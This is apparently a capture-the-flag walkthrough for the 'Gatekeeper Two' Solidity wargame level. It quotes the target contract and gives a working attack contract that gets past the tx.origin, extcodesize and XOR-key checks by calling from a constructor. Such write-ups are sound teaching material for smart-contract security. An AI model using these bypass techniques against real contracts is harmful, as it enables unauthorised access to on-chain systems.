# Gatekeeper Two  
_difficulty 6/10_  

This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.  
Things that might help:  
- Remember what you've learned from getting past the first gatekeeper - the first gate is the same.  
- The `assembly` keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See [here](http://solidity.readthedocs.io/en/v0.4.23/assembly.html) for more information. The `extcodesize` call in this gate will get the size of a contract's code at a given address - you can learn more about how and when this is set in section 7 of the [yellow paper](https://ethereum.github.io/yellowpaper/paper.pdf).  
- The `^` character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see [here](http://solidity.readthedocs.io/en/v0.4.23/miscellaneous.html#cheatsheet)). The Coin Flip level is also a good place to start when approaching this challenge.  

## Sources  

```javascript
pragma solidity ^0.4.18;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
```

## Level author  
0age  
0age@protonmail.com  
https://github.com/0age  

## Gatekeeper Two Solution

1. `require(msg.sender != tx.origin);`  
We need to use a proxy contract that will call the `enter` function.

2. The `extcodesize` has to equal 0.  
```javascript
  uint x;
  assembly { x := extcodesize(caller) }
  require(x == 0);
```
>During initialization code execution, EXTCODESIZE on the address should return zero, which is the length of the code of the account while CODESIZE should return the length of the initialization code.

If we call the `enter` function inside the constructor of our contract, the condition will be satisfied.

3. `uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1`  
The entire left side has to equal 0xFF...FF. We can calculate this by using the following line to get the key:  
`uint64(keccak256(address(this))) ^ (uint64(0) - 1)`  

4. Deploy the `GateKeyTwo.sol`. It will automatically unlock the instance.

```javascript
pragma solidity ^0.4.18;

contract GateKeyTwo {
  function GateKeyTwo(address gate) public {
    GatekeeperTwo _gate = GatekeeperTwo(gate);
    bytes8 key = bytes8(uint64(keccak256(address(this))) ^ (uint64(0) - 1));
    _gate.enter(key);
  }
}
```

5. Check if `player` is the entrant.  
`player === (await contract.entrant())`  
true

6. Submit instance ðŸŽ‰ 

## Lesson

Way to go! Now that you can get past the gatekeeper, you have what it takes to join [theCyber](https://etherscan.io/address/thecyber.eth#code), a decentralized club on the Ethereum mainnet. Get a passphrase by contacting the creator on [reddit](https://www.reddit.com/user/0age) or via [email](0age@protonmail.com) and use it to register with the contract at [gatekeepertwo.thecyber.eth](https://etherscan.io/address/gatekeepertwo.thecyber.eth#code) (be aware that only the first 128 entrants will be accepted by the contract).  
